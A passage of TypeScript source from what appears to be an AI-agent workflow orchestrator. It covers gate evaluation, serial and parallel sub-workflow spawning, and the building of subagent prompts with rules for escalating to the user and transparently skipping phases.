understanding check (mandatory prompt even on small/medium)\n  const promptUnderstanding = opts.promptUserUnderstanding ?? defaultPromptUserUnderstanding\n  const isClear = await promptUnderstanding(prompter)\n  ctx.user_understanding_unclear = !isClear\n  console.log(\n    `[/auto Phase 0.5] user_understanding_unclear=${!isClear} (research will ${isClear ? 'skip' : 'fire'})`,\n  )\n\n  return { proceed: true, opts: nextOpts }\n}\n\n/** v3.2.0 — Emit transparency block for gate evaluations (RESEARCH-workflows § Area 3).\n *  Split from masterOrchestrator.ts core per karpathy ≤200L hard limit. */\nexport function emitGateTransparency(\n  masterName: MasterName,\n  totalGates: number,\n  gateEvalled: GateEvaluation[],\n): void {\n  console.log(`[${masterName} master] Evaluating ${totalGates} sub-workflow gates:`)\n  for (const g of gateEvalled) {\n    const mark = g.passes ? '✓' : '⊘'\n    const tail = g.passes\n      ? g.clause.gate\n        ? ` (${g.clause.gate} == true)`\n        : ' (unconditional)'\n      : ` skipped — ${g.reason}`\n    console.log(`  ${mark} ${g.clause.sub}${tail}`)\n  }\n}\n\n/** v3.2.0 — Arbitrate fired clauses when >1 (K14 warn-not-halt mitigation per\n *  RESEARCH-disciplines § 3.2.3)。Split from masterOrchestrator.ts core per karpathy\n *  ≤200L hard limit。 */\nexport async function maybeArbitrate(\n  firedClauses: DelegationClauseT[],\n  packageRoot: string,\n): Promise<void> {\n  if (firedClauses.length <= 1) return\n  const firedCaps: FiredCapability[] = firedClauses.map((c) => ({ name: c.sub, tier: c.sub }))\n  try {\n    await arbitrateBeforeSpawn(firedCaps, packageRoot)\n    console.warn(\n      `⚠️ multi-capability fires (${firedClauses.length} sub), arbitrating by priority hierarchy ` +\n        '(K14 warn-not-halt; v3.0 sub-as-tier placeholder, real cross-tier sort defer v3.x)',\n    )\n  } catch (e) {\n    console.warn(`⚠️ arbitrate failed (${(e as Error).message}) — proceeding default order`)\n  }\n}\n\n// Re-export for backward-compat dogfood static-verify (cycle-4-verify.dogfood.test.ts F9\n// reads both files concatenated). Anchor markers kept verbatim in helper functions above.\nexport type { WorkflowSchemaV3T }\n","// masterOrchestrator.ts — T3.5.W0.1 Master Orchestrator Hybrid Option C per RESEARCH-workflows\n// § Area 3:yaml `delegates_to[]` 声明 + engine consume + judgmentResolver pre-resolve gate +\n// sub spawn。4 master 共享 dispatcher (D-13 declarative SoT)。K8: ctx 共享 snapshot(无 re-snapshot)。\n// K14: arbitrate warn-not-halt。Path A default = in-process recursive runWorkflow;Path B\n// fallback = try/catch SDK error → warn (sub-shell exec defer v3.x per K-mitigation)。\n\nimport { readFile } from 'node:fs/promises'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse as parseYaml } from 'yaml'\nimport { resolveJudgmentGate } from './judgmentResolver.js'\nimport {\n  type DelegationClauseT,\n  WorkflowSchemaV3,\n  type WorkflowSchemaV3T,\n} from './schema/workflow.js'\n\nexport type MasterName = 'discuss' | 'plan' | 'task' | 'verify' | 'auto'\n\nexport interface MasterRunResult {\n  master: MasterName\n  /** Sub names that gate-evaluated to fire (spawned in arbitration-sorted order). */\n  fired: string[]\n  /** Sub names that gate-evaluated to skip (透明声明 per fallback.yaml 铁律 1). */\n  skipped: string[]\n}\n\n/** v3.1.0 / v3.2.0 / v3.3.0 — Opts for runMasterOrchestrator.\n *  `pauseBetweenStages` (v3.1.0 introduced as `--pause-between-stages`; renamed to\n *    `--staged` in v3.2.0; v3.3.0 cleanup removed the legacy `--pause-between-stages`\n *    alias — only `--staged` flag remains).\n *  v3.2.0 NEW hooks (super-master `/auto` only, pre-flight before spawn loop):\n *    `assessComplexity`: AI 1-shot judge 需求 size (small/medium/large) — large prompts\n *      user 切 `--staged` OR abort 建议手动\n *    `promptUserUnderstanding`: prompt 对需求有清晰认知吗 — n sets ctx fact\n *      `user_understanding_unclear=true` (research gate consumes)\n *    `prompter`: low-level stdin prompter DI override (sister pauseFn pattern) */\nexport interface MasterRunOpts {\n  pauseBetweenStages?: boolean\n  pauseFn?: (stageName: string) => Promise<void>\n  /** v3.2.0 — AI 1-shot complexity judge for /auto Phase 0 gate. */\n  assessComplexity?: (taskDescription: string) => Promise<'small' | 'medium' | 'large'>\n  /** v3.2.0 — Phase 0.5 understanding check (returns true if user is clear). */\n  promptUserUnderstanding?: (prompter: (q: string) => Promise<string>) => Promise<boolean>\n  /** v3.2.0 — low-level stdin prompter DI override. */\n  prompter?: (question: string) => Promise<string>\n}\n\nexport interface GateEvaluation {\n  clause: DelegationClauseT\n  passes: boolean\n  reason?: string\n}\n\n/** Spawn driver — Path A (in-process SDK recursive) with Path B (sub-shell) fallback.\n *  T3.5.W2.1 dogfood LOCK 决策延后;两路径都实现 + default Path A。 */\nexport type SpawnDriver = (\n  masterName: MasterName,\n  subName: string,\n  context: Record<string, unknown>,\n  packageRoot: string,\n) => Promise<void>\n\nimport {\n  defaultPauseFn,\n  defaultSpawnDriver,\n  emitGateTransparency,\n  maybeArbitrate,\n  resolveMasterYamlPath,\n  runAutoPreFlight,\n} from './masterOrchestrator-helpers.js'\n\n/** Run a master orchestrator yaml — load `workflows/<masterName>/auto/workflow.yaml`,\n *  evaluate delegates_to[] gates,split serial/parallel,arbitrate(K14 warn-not-halt),\n *  spawn sub(Path A default),emit Transparency block。\n *\n *  K8:engine 共享 1 context snapshot — `context` arg passed unchanged 到 sub spawn。 */\nexport async function runMasterOrchestrator(\n  masterName: MasterName,\n  context: Record<string, unknown>,\n  packageRoot: string,\n  spawnDriver: SpawnDriver = defaultSpawnDriver,\n  opts: MasterRunOpts = {},\n): Promise<MasterRunResult> {\n  // v3.1.0 — super-master `/auto` 走 top-level standalone `workflows/auto/workflow.yaml`\n  // (sister research/retro layout); 4 stage-master 仍 走 `workflows/<name>/auto/workflow.yaml`。\n  const yamlPath = resolveMasterYamlPath(masterName, packageRoot)\n  const raw = await readFile(yamlPath, 'utf8')\n  const parsed = parseYaml(raw) as unknown\n  if (!Value.Check(WorkflowSchemaV3, parsed)) {\n    const errors = [...Value.Errors(WorkflowSchemaV3, parsed)]\n      .slice(0, 3)\n      .map((e) => `${e.path} ${e.message}`)\n      .join('; ')\n    throw new Error(`Invalid master workflow.yaml at ${yamlPath}: ${errors}`)\n  }\n  const master = parsed as WorkflowSchemaV3T\n  if (!master.delegates_to || master.delegates_to.length === 0) {\n    throw new Error(`Master workflow ${masterName} missing delegates_to`)\n  }\n\n  // v3.2.0 — /auto super-master pre-flight (Phase 0 complexity + Phase 0.5 understanding)。\n  // Hooks set ctx fact `user_understanding_unclear` consumed by research gate; large\n  // complexity → auto-switch to --staged OR abort (user-elected manual /discuss path)。\n  // Pre-flight 仅当 assessComplexity OR prompter OR promptUserUnderstanding 任一显式传入\n  // 才激活 — 保护 sister v3.1.0 fixture (无 hooks) backward-compat (避免 readline 阻塞)。\n  let effectiveOpts = opts\n  const preflightActive =\n    masterName === 'auto' &&\n    (opts.assessComplexity !== undefined ||\n      opts.prompter !== undefined ||\n      opts.promptUserUnderstanding !== undefined)\n  if (preflightActive) {\n    const pre = await runAutoPreFlight(context, opts)\n    if (!pre.proceed) {\n      console.log(`[${masterName} master] Aborted by user (complexity gate decline).`)\n      return { master: masterName, fired: [], skipped: master.delegates_to.map((c) => c.sub) }\n    }\n    effectiveOpts = pre.opts\n  }\n\n  // v3.9.26 Option A — pre-gate skip filter. gateContext.skip_subs lists subs\n  // whose work was ALREADY done interactively in the main CC session (e.g.\n  // clarify / discuss brainstorming, which require user dialogue that headless\n  // SDK subagents cannot do). Skip them without gate eval — the clarification\n  // outcome is embedded in the task text passed downstream.\n  const skipSubs = new Set(Array.isArray(context.skip_subs) ? (context.skip_subs as string[]) : [])\n\n  // Phase 1: gate eval per delegation clause(unconditional fire 当 clause.gate undefined)\n  const gateEvalled: GateEvaluation[] = []\n  for (const clause of master.delegates_to) {\n    if (skipSubs.has(clause.sub)) {\n      gateEvalled.push({\n        clause,\n        passes: false,\n        reason: `skipped via skip_subs (done interactively in main session)`,\n      })\n      continue\n    }\n    if (!clause.gate) {\n      gateEvalled.push({ clause, passes: true })\n      continue\n    }\n    try {\n      const passes = await resolveJudgmentGate(clause.gate, context, packageRoot)\n      gateEvalled.push({\n        clause,\n        passes,\n        reason: passes ? undefined : `gate ${clause.gate} = false`,\n      })\n    } catch (e) {\n      // v3.9.23 — fail-soft per ADR 0029 (sister src/workflow/run.ts:486 phase\n      // gate eval). Previously set passes=false on eval error → silently skipped\n      // the sub-workflow whenever a gate expression referenced an undeclared\n      // variable. The correct semantic: eval error is operational fault, NOT a\n      // judgment to skip — proceed with sub as if gate fired=true and emit warn.\n      console.warn(\n        `⚠️ master ${masterName} sub ${clause.sub} gate ${clause.gate} eval failed (${(e as Error).message}); proceeding with sub as if gate fired=true (ADR 0029 fail-soft).`,\n      )\n      gateEvalled.push({\n        clause,\n        passes: true,\n        reason: `gate eval error (fail-soft fires=true): ${(e as Error).message}`,\n      })\n    }\n  }\n\n  // Transparency block + Phase 2 split + Phase 2.5 arbitrate (helpers split per karpathy ≤200L)\n  emitGateTransparency(masterName, master.delegates_to.length, gateEvalled)\n  const PARALLEL_MID_ANCHOR = 50\n  const firedClauses = gateEvalled.filter((g) => g.passes).map((g) => g.clause)\n  const serialLeading = firedClauses\n    .filter((c) => c.mode === 'serial' && (c.order ?? 0) < PARALLEL_MID_ANCHOR)\n    .sort((a, b) => (a.order ?? 0) - (b.order ?? 0))\n  const serialTrailing = firedClauses\n    .filter((c) => c.mode === 'serial' && (c.order ?? 0) >= PARALLEL_MID_ANCHOR)\n    .sort((a, b) => (a.order ?? 0) - (b.order ?? 0))\n  const parallelClauses = firedClauses.filter((c) => (c.mode ?? 'parallel') === 'parallel')\n  const serialN = serialLeading.length + serialTrailing.length\n  const parallelN = parallelClauses.length\n  await maybeArbitrate(firedClauses, packageRoot)\n\n  // Phase 3: spawn leading serial → parallel fan-out → trailing serial (yaml order intent)。\n  const modeLabel =\n    serialN > 0 && parallelN > 0 ? 'serial+parallel' : serialN > 0 ? 'serial' : 'parallel'\n  console.log(`Firing ${firedClauses.length} sub in ${modeLabel}:`)\n  const fired: string[] = []\n  // v3.1.0 / v3.2.0 / v3.3.0 — staged opt-in (super-master `/auto` UX, `--staged` flag only).\n  // pauseFn defaults to readline stdin prompt at runtime (test DI override via opts.pauseFn)。\n  // effectiveOpts may have auto-flipped pauseBetweenStages=true via pre-flight large complexity。\n  const pauseHook = effectiveOpts.pauseBetweenStages\n    ? (effectiveOpts.pauseFn ?? defaultPauseFn)\n    : undefined\n  for (const clause of serialLeading) {\n    console.log(`  → ${clause.sub} (serial order=${clause.order ?? 0})`)\n    await spawnDriver(masterName, clause.sub, context, packageRoot)\n    fired.push(clause.sub)\n    if (pauseHook) await pauseHook(clause.sub)\n  }\n  const parallelResults = await Promise.allSettled(\n    parallelClauses.map(async (clause) => {\n      console.log(`  → ${clause.sub} (parallel)`)\n      await spawnDriver(masterName, clause.sub, context, packageRoot)\n      return clause.sub\n    }),\n  )\n  for (const r of parallelResults) {\n    if (r.status === 'fulfilled') fired.push(r.value)\n  }\n  // issue #1 — surface parallel sub failures (fail-fast). allSettled waits for\n  // every sibling (so in-flight work finishes), but a rejected parallel sub used\n  // to be silently dropped — the master reported `Complete` minus that sub with\n  // no error. Mirror the serial loop's throw-propagation: if any parallel sub\n  // rejected, throw an aggregate so the master fails-fast (trailing serial subs\n  // do not run) and the failure reaches the CLI exit code.\n  const parallelFailures = parallelResults\n    .map((r, i) =>\n      r.status === 'rejected' ? { sub: parallelClauses[i]?.sub, reason: r.reason } : null,\n    )\n    .filter((x): x is { sub: string | undefined; reason: unknown } => x !== null)\n  if (parallelFailures.length > 0) {\n    const detail = parallelFailures\n      .map((f) => `${f.sub}: ${f.reason instanceof Error ? f.reason.message : String(f.reason)}`)\n      .join('; ')\n    throw new Error(\n      `[${masterName} master] ${parallelFailures.length} parallel sub(s) failed — ${detail}`,\n    )\n  }\n  for (const clause of serialTrailing) {\n    console.log(`  → ${clause.sub} (serial order=${clause.order ?? 0})`)\n    await spawnDriver(masterName, clause.sub, context, packageRoot)\n    fired.push(clause.sub)\n    if (pauseHook) await pauseHook(clause.sub)\n  }\n\n  // Phase 5: skipped — 透明声明 sister fallback.yaml 铁律 1\n  const skipped = gateEvalled.filter((g) => !g.passes).map((g) => g.clause.sub)\n  console.log(`[${masterName} master] Complete: ${fired.length} fired, ${skipped.length} skipped.`)\n\n  return { master: masterName, fired, skipped }\n}\n","// run.ts — D-03 WIRED + D-04 PUSH + W0.2 (master detect + disciplines wedge) + W1.5\n// (3 phase-level hook: before-spawn / after-output / before-commit per RESEARCH-disciplines § 4.4)。\n// Phase v3.4.4 — _dispatchSkillStub.fn production default rewired to real sdkSpawn\n// (was literal '<stub for X>'). DI seam preserved for tests.\n// Phase v3.4.4 (Phase 3) — _dispatchSkillStub.fn now conditionally wraps sdkSpawn\n// in ralphLoopWrap when phase opt-in (max_iterations / fallback / upstream='ralph-loop'\n// signal); else single-shot per Phase 2. max-iter resolved via gateContext.maxIterations\n// (CLI flag) → phase.max_iterations → 20, clamped 100.\n// Phase v3.4.4 (Phase 4) — buildAgentDef enriched with role-prompts.yaml lookup\n// + workflowName plumbed through MaxIterFallbackCtx (replaces hardcoded\n// 'harnessed-run' literal at fallback site).\nimport { dirname, join, resolve as pathResolve } from 'node:path'\nimport { activatePhase, completePhase } from '../checkpoint/engineHook.js'\nimport { pause as statePause } from '../checkpoint/state.js'\nimport { loadRolePrompts, type RolePrompt } from '../cli/lib/generateCommands.js'\nimport { runAfterOutputHook } from '../discipline/enforcement/after-output.js'\nimport { runBeforeCommitHook } from '../discipline/enforcement/before-commit.js'\nimport { loadDisciplinesForPhase } from '../discipline/enforcement/before-phase-execute.js'\nimport { arbitrateBeforeSpawn } from '../discipline/enforcement/before-spawn.js'\nimport { isVetoed } from './governance.js'\nimport { resolveJudgmentGate } from './judgmentResolver.js'\nimport type { AgentDefinition } from './lib/agentDefinition.js'\nimport {\n  type FallbackMaxIterationsExceededConfig,\n  handleMaxIterationsExceeded,\n  MaxIterationsExceededError,\n  ralphLoopWrap,\n} from './lib/ralphLoop.js'\nimport { sdkSpawn } from './lib/sdkSpawn.js'\nimport { loadPhases } from './loadPhases.js'\nimport { type MasterName, runMasterOrchestrator } from './masterOrchestrator.js'\n\nexport type { FallbackMaxIterationsExceededConfig } from './lib/ralphLoop.js'\n\nconst MASTER_NAMES: readonly MasterName[] = ['discuss', 'plan', 'task', 'verify', 'auto']\n\n/** Phase v3.4.4 (Phase 3) — ralph-loop default cap (sister src/routing/engine.ts:88). */\nconst RALPH_DEFAULT_MAX_ITER = 20\n/** Phase v3.4.4 (Phase 3) — ralph-loop hard upper bound (sister workflows/defaults.yaml:103\n *  + Phase 2.2 STRIDE T-2.2-05 DoS mitigation). */\nconst RALPH_HARD_UPPER_LIMIT = 100\n\nexport interface WorkflowRunResult {\n  status: 'complete' | 'paused-veto' | 'failed'\n  phasesRun: number\n  lastPhaseId?: string\n  /** Phase ids whose `gate` resolved false → skipped (D-04 + D-11 v2 consume). */\n  skippedPhases?: string[]\n}\n\n/** D-03 WIRED stub spawner;W1.5 — Optional target + triggers_commit additive default undefined。\n *  Exported for test injection (W1.5 fixture vi.spyOn override stub shape to fire hook path)。 */\nexport interface DispatchStubResult {\n  status: 'ok' | 'fail'\n  output: string\n  decision?: string\n  target?: 'chat' | 'file' | 'commit-message'\n  triggers_commit?: boolean\n  /** v3.5.0 Phase 2 — Option 1-Lite escalation signal from spawned subagent.\n   *  When true, runWorkflow emits stderr hint suggesting user open Agent Teams\n   *  in main Claude Code session (D3). */\n  needsTeamsEscalation?: boolean\n  escalationReason?: string\n}\n/** v3.5.0 Phase 2 — Option 1-Lite escalation rules injected via\n *  criticalSystemReminder_EXPERIMENTAL (already piped through sdkReconcile.ts\n *  L54-56 into spawned subagent prompt). Self-contained natural-language\n *  transcription of workflows/judgments/parallelism-gate.yaml agent-teams-upgrade\n *  fires_when. Spawned subagent CANNOT itself call TeamCreate (SDK v0.3.142 does\n *  not expose Team APIs); it ONLY signals via structured_output.needs_teams_escalation.\n *  See PHASE-2-SPEC.md § D2 for design rationale + spike result. */\nexport const ESCALATION_RULES = `If during this task you detect ANY of the following 5 conditions, set \\`needs_teams_escalation: true\\` in your structured output and fill \\`escalation_reason\\` with the trigger name + one-sentence specifics. These are signals to the human user in the main Claude Code session — do NOT attempt to call TeamCreate/SendMessage/TeamDelete yourself (those tools are not available to you).\n\nFive triggers (any one suffices):\n\n1. **teammate_send_message_needed** — the task requires two or more subagents to exchange messages mid-task (e.g., reconciling API contract proposals across frontend and backend), not just fan-out + report.\n\n2. **subagent_context_overflow** — your context budget is filling and a separate subagent is needed to take over a portion of the work.\n\n3. **shared_task_list** — multiple subagents need to coordinate self-assignment from a shared task list (not pre-partitioned work).\n\n4. **opposing_hypothesis_debate** — the task requires two subagents to defend opposing hypotheses to a lead arbiter (e.g., root-cause debugging where two competing theories need separate evidence-gathering).\n\n5. **fullstack_three_way** — the task is a synchronized fullstack push (frontend + backend + tests) requiring API contract alignment across three roles simultaneously.\n\nIf none of the five apply, omit \\`needs_teams_escalation\\` (defaults to false) and proceed normally.`\n\n/** v3.6.0 Phase 3 — Transparent-skip rule injection (P0b 下半, Audit §\n *  fallback 三条铁律 \"拿不准 → 倾向跳过 + 透明声明\"). Sister to ESCALATION_RULES\n *  above, appended to the same `criticalSystemReminder_EXPERIMENTAL` field via\n *  `${ESCALATION_RULES}\\n\\n${TRANSPARENT_SKIP_RULES}` in buildAgentDef. Spawned\n *  subagent reads the rule + emits the verbatim skip message when gate context\n *  is ambiguous instead of silent execution.\n *  See workflows/disciplines/operational.yaml `transparent-skip-on-low-confidence`\n *  rule (check_method: prompt-inject) for the discipline-layer declaration. */\nexport const TRANSPARENT_SKIP_RULES = `When you encounter a phase gate or routing decision where the input context is missing key fields, default-valued, or contradictory, do NOT proceed silently. Instead, skip the phase and emit a one-line transparent explanation:\n\n  \"Skipped <phase>, because <reason>. Tell me if you actually need it.\"\n  (中文: \"这次跳过了 <phase>, 因为 <reason>. 如果你认为需要请明说.\")\n\nThis applies to: strategic-layer review skip / phase-layer clarification skip / subtask-brainstorming skip / TDD enforcement skip / Agent Teams escalation skip. Chain-isolation rule: skipping one layer does NOT mandate skipping subsequent layers — each layer is independently evaluated.`\n\n/** v3.6.0 Phase 4 — Agent Teams prevention checklist injection (P1b). Spawned\n *  subagent doesn't have Team APIs (SDK v0.3.142 doesn't expose them), so this\n *  is signal/discipline only — when subagent signals escalation via\n *  needs_teams_escalation, the user/main-session opens the team, and this\n *  checklist reminds spawned subagent (and by signal propagation, the user)\n *  of the 4 防呆 rules.\n *\n *  Source: ~/.claude/rules/agent-teams.md \"防呆清单\" (4 items) — paraphrased\n *  for prompt injection (NOT verbatim user-private file).\n *\n *  See PHASE-4-SPEC.md § D1 for design rationale + prompt-budget impact (~200\n *  tokens, total criticalSystemReminder_EXPERIMENTAL ~670 tokens). */\nexport const AGENT_TEAMS_PREVENTION_RULES = `If you signal needs_teams_escalation=true, ALSO advise the user on these 4 Agent Teams prevention rules in your escalation_reason or summary (the user will be the one calling TeamCreate / SendMessage / TeamDelete; remind them upfront):\n\n1. **Session-scoped**: Teams live only in the current Claude Code session. \\`/resume\\` loses all teammates. Do not treat teams as persistent state — finish team work within one session.\n\n2. **Cleanup mandatory**: Before session ends, send \\`SendMessage(to=<teammate>, content=\"shutdown_request\")\\` to each teammate, then call \\`TeamDelete\\`. Orphan teammates consume resources. This is a hard rule, not advisory.\n\n3. **Token cost estimation**: Before creating a team, estimate \\`team_cost ≈ N_teammates × N_rounds × avg_tokens_per_round + N_teammates × initial_brief_tokens\\`. Compare to subagent fan-out cost (\\`≈ N_subagents × (initial_brief + summary_tokens)\\`). Only open a team when \\`team_cost < 2 × subagent_cost\\` — otherwise prefer fan-out.\n\n4. **Brief must be self-contained**: Each teammate launches WITHOUT main-session context. The Agent() prompt must include enough background, file paths, success criteria, and counter-positions so the teammate can work independently. Generic prompts produce shallow output.`\n\n/** v3.6.0 Phase 4 — Combined critical-system-reminder string injected into\n *  spawned subagent prompt. Composition order (sister Phase 3 chain extended):\n *    1. ESCALATION_RULES (v3.5.0 Phase 2) — 5 Agent Teams escalation triggers\n *    2. TRANSPARENT_SKIP_RULES (v3.6.0 Phase 3) — fallback 三条铁律 transparent\n *       skip discipline (skip + explanation > silent execution on low-confidence)\n *    3. AGENT_TEAMS_PREVENTION_RULES (v3.6.0 Phase 4) — Agent Teams 防呆 4 项\n *       (session-scoped / cleanup mandatory / token-cost / self-contained brief)\n *  Both paths in buildAgentDef (rolePrompt found + conservative fallback) inject\n *  this combined string into criticalSystemReminder_EXPERIMENTAL.\n *  Logical order: 识别 (ESCALATION) → confidence judge (TRANSPARENT_SKIP) →\n *  prevention discipline (AGENT_TEAMS_PREVENTION). */\n/** v3.8.0 P1 — Conditional RULES inject. Map rule name → RULES const for\n *  per-phase dynamic chain construction. Adding a new rule: add const above +\n *  entry here + (optional) default-list. Unknown names silently skipped at\n *  runtime for forward compatibility. */\nconst RULES_MAP: Record<string, string> = {\n  escalation: ESCALATION_RULES,\n  'transparent-skip': TRANSPARENT_SKIP_RULES,\n  'agent-teams-prevention': AGENT_TEAMS_PREVENTION_RULES,\n}\n\n/** v3.8.0 P1 — Default RULES injected when phase yaml omits `injects_rules`.\n *  ~470 tokens (escalation ~320 + transparent-skip ~150). Agent Teams\n *  prevention (~200 tokens) opt-in for phases that genuinely involve Team\n *  escalation (task-deliver / task-test / verify-multispec — see their\n *  workflow.yaml). Weighted-avg across 24 sub-workflows ≈ 512 tokens/spawn\n *  vs v3.6.0 Phase 4 全 670 → ~24% reduction. */\nconst DEFAULT_INJECTS_RULES = ['escalation', 'transparent-skip'] as const\n\n/** v3.8.0 P1 — Build `criticalSystemReminder_EXPERIMENTAL` string from rule\n *  name list. Empty/undefined list → DEFAULT_INJECTS_RULES. Unknown rule\n *  names silently filtered (forward-compat). */\nfunction buildCriticalReminder(injectsRules?: readonly string[]): string {\n  const rules = injectsRules ?? DEFAULT_INJECTS_RULES\n  return rules\n    .map((name) => RULES_MAP[name])\n    .filter((rule): rule is string => rule !== undefined)\n    .join('\\n\\n')\n}\n\n/** Phase v3.4.4 (Phase 4) — build an AgentDefinition for a workflow phase skill,\n *  enriched via `workflows/role-prompts.yaml` when a matching entry exists.\n *\n *  Lookup chain (D-3):\n *    1. rolePrompts[skillName] — phase id direct hit (e.g. '01-fan-out' on the\n *       rare case the phase id IS keyed in role-prompts.yaml).\n *    2. rolePrompts[workflowName] — sub-workflow name hit (e.g. phase id\n *       '01-review' inside `verify-paranoid/workflow.yaml` → 'verify-paranoid'\n *       keyed in role-prompts.yaml). This is the common path.\n *    3. Conservative 2-field stub fallback (Phase 2 behavior) — applies for\n *       standalone non-master phases that lack any role-prompt entry.\n *\n *  When found, splices `responsibility` + `checklist` + `severity` + `specialist`\n *  into the prompt body. `modelTierOverride` (B-10 escape hatch from\n *  `--model-tier inherit`) is applied to the AgentDefinition `model` field when\n *  set (sourced from `gateContext.modelTierOverride`).\n *\n *  v3.5.0 Phase 2 Wave 1 — BOTH code paths (rolePrompt found OR fallback stub)\n *  now also inject `criticalSystemReminder_EXPERIMENTAL: ESCALATION_RULES` so\n *  spawned subagents uniformly know when to signal Agent Teams escalation.\n *\n *  v3.6.0 Phase 3 Wave 3 — both code paths now inject CRITICAL_SYSTEM_REMINDER\n *  (= ESCALATION_RULES + TRANSPARENT_SKIP_RULES appended) so spawned subagents\n *  ALSO follow the fallback 三条铁律 \"拿不准 → 倾向跳过 + 透明声明\" discipline.\n *\n *  v3.6.0 Phase 4 Wave 1 — added AGENT_TEAMS_PREVENTION_RULES (P1b) so spawned\n *  subagents, when signaling needs_teams_escalation=true, ALSO remind the user\n *  of the 4 Agent Teams 防呆 rules.\n *\n *  v3.8.0 P1 — `criticalSystemReminder_EXPERIMENTAL` is now built dynamically via\n *  `buildCriticalReminder(injectsRules)`. Callers can pass phase-specific rule\n *  list; absent → DEFAULT_INJECTS_RULES (escalation + transparent-skip, ~470\n *  tokens). Phases declaring `injects_rules: [escalation, transparent-skip,\n *  agent-teams-prevention]` in workflow.yaml get the 670-token full chain.\n *  ~24% weighted-avg token reduction vs unconditional v3.6.0 Phase 4 behavior. */\nexport function buildAgentDef(\n  skillName: string,\n  rolePrompts?: Record<string, RolePrompt>,\n  workflowName?: string,\n  modelTierOverride?: string,\n  injectsRules?: readonly string[],\n): AgentDefinition {\n  const rp = rolePrompts?.[skillName] ?? (workflowName ? rolePrompts?.[workflowName] : undefined)\n  const criticalReminder = buildCriticalReminder(injectsRules)\n  if (!rp) {\n    // Conservative fallback (Phase 2 behavior) for phase ids not in role-prompts.yaml.\n    return {\n      description: `harnessed workflow phase: ${skillName}`,\n      prompt: `You are executing the '${skillName}' workflow phase. Follow the phase intent and emit a structured COMPLETE signal when done.`,\n      criticalSystemReminder_EXPERIMENTAL: criticalReminder,\n      ...(modelTierOverride ? { model: modelTierOverride } : {}),\n    } as AgentDefinition\n  }\n  const checklist = rp.checklist.length\n    ? `\\n\\nChecklist:\\n${rp.checklist.map((c, i) => `  ${i + 1}. ${c}`).join('\\n')}`\n    : ''\n  const prompt = [\n    `You are a ${rp.specialist}.`,\n    ``,\n    rp.responsibility.trim(),\n    checklist,\n    ``,\n    `Severity scale: ${rp.severity}`,\n    ``,\n    `Emit a structured COMPLETE signal when done.`,\n  ].join('\\n')\n  return {\n    description: rp.description,\n    prompt,\n    criticalSystemReminder_EXPERIMENTAL: criticalReminder,\n    ...(modelTierOverride ? { model: modelTierOverride } : {}),\n  } as AgentDefinition\n}\n\n/** Phase v3.4.4 (Phase 3) — ralph-loop opt-in detection per phase. Returns true when\n *  any of: phase.max_iterations declared, phase.fallback.max_iterations_exceeded\n *  declared, phase.upstream === 'ralph-loop'. Default OFF (single-shot sdkSpawn)\n *  for phases without any ralph-loop yaml signal — preserves Phase 2 behavior for\n *  the 7 phases that lack the signal (e.g. task-code/02-progress, verify-design/01).\n *\n *  Exported for unit-testability + so Phase 3 Commit 3's wrap-conditional inside\n *  `_dispatchSkillStub.fn` can reuse the same predicate (single source of truth). */\nexport function isRalphLoopOptIn(phase: unknown): boolean {\n  if (!phase || typeof phase !== 'object') return false\n  const p = phase as Record<string, unknown>\n  if (p.max_iterations !== undefined && p.max_iterations !== null) return true\n  if (p.upstream === 'ralph-loop') return true\n  const fb = p.fallback as Record<string, unknown> | undefined\n  if (fb?.max_iterations_exceeded !== undefined) return true\n  return false\n}\n\n/** Phase v3.4.4 (Phase 3) — max-iter resolution chain (CLI flag → phase yaml → 20),\n *  clamped at hard_upper_limit 100. Reads gateContext.maxIterations (Number, set\n *  by src/cli/run.ts:84 from `--max-iterations <n>`) + phase.max_iterations (yaml\n *  Number OR pre-resolved JINJA String → coerce via parseInt).\n *\n *  Priority (high → low):\n *    1. gateContext.maxIterations (CLI flag)\n *    2. phase.max_iterations (yaml Number OR coerced String)\n *    3. RALPH_DEFAULT_MAX_ITER (hardcoded 20)\n *\n *  Result clamped to [1, RALPH_HARD_UPPER_LIMIT (100)] regardless of source.\n *\n *  Exported for unit-testability + so Phase 3 Commit 3's call-site at L183 can\n *  pass the resolved value down to `_dispatchSkillStub.fn` opts.maxIter. */\nexport function resolveMaxIterations(phase: unknown, gateContext: Record<string, unknown>): number {\n  const fromCli =\n    typeof gateContext.maxIterations === 'number' ? gateContext.maxIterations : undefined\n  let fromYaml: number | undefined\n  if (phase && typeof phase === 'object') {\n    const raw = (phase as Record<string, unknown>).max_iterations\n    if (typeof raw === 'number') fromYaml = raw\n    else if (typeof raw === 'string') {\n      const n = Number.parseInt(raw, 10)\n      if (Number.isFinite(n) && n > 0) fromYaml = n\n    }\n  }\n  const chosen = fromCli ?? fromYaml ?? RALPH_DEFAULT_MAX_ITER\n  return Math.min(Math.max(1, chosen), RALPH_HARD_UPPER_LIMIT)\n}\n\nexport const _dispatchSkillStub = {\n  fn: async (\n    skillName: string,\n    phase?: unknown,\n    opts?: {\n      maxIter?: number\n      fallback?: FallbackMaxIterationsExceededConfig\n      workflowName?: string\n      rolePrompts?: Record<string, RolePrompt>\n      modelTierOverride?: string\n    },\n  ): Promise<DispatchStubResult> => {\n    const optIn = isRalphLoopOptIn(phase)\n    const spawnOnce = async (\n      resumeSessionId?: string,\n      onSessionId?: (id: string) => void,\n    ): Promise<string> => {\n      // v3.8.0 P1 — read optional phase.injects_rules (string[]) for conditional\n      // RULES inject; absent → buildAgentDef applies DEFAULT_INJECTS_RULES.\n      const injectsRules =\n        phase &&\n        typeof phase === 'object' &&\n        'injects_rules' in phase &&\n        Array.isArray((phase as Record<string, unknown>).injects_rules)\n          ? ((phase as Record<string, unknown>).injects_rules as string[])\n          : undefined\n      return sdkSpawn(\n        buildAgentDef(\n          skillName,\n          opts?.rolePrompts,\n          opts?.workflowName,\n          opts?.modelTierOverride,\n          injectsRules,\n        ),\n        {\n          expertName: skillName,\n          ...(resumeSessionId ? { resumeSessionId } : {}),\n          ...(onSessionId ? { onSessionId } : {}),\n        },\n      )\n    }\n\n    let envelopeJson: string\n    try {\n      if (optIn) {\n        const maxIter = opts?.maxIter ?? RALPH_DEFAULT_MAX_ITER\n        envelopeJson = await ralphLoopWrap(spawnOnce, maxIter)\n      } else {\n        envelopeJson = await spawnOnce()\n      }\n    } catch (err) {\n      // R20.10 c — explicit halt path: phase fallback config present → UX text + process.exit\n      if (err instanceof MaxIterationsExceededError && opts?.fallback) {\n        // handleMaxIterationsExceeded calls process.exit(exit_code) — never returns\n        handleMaxIterationsExceeded(err, opts.fallback, {\n          subtaskSummary: `phase ${skillName}`,\n          // Phase 4 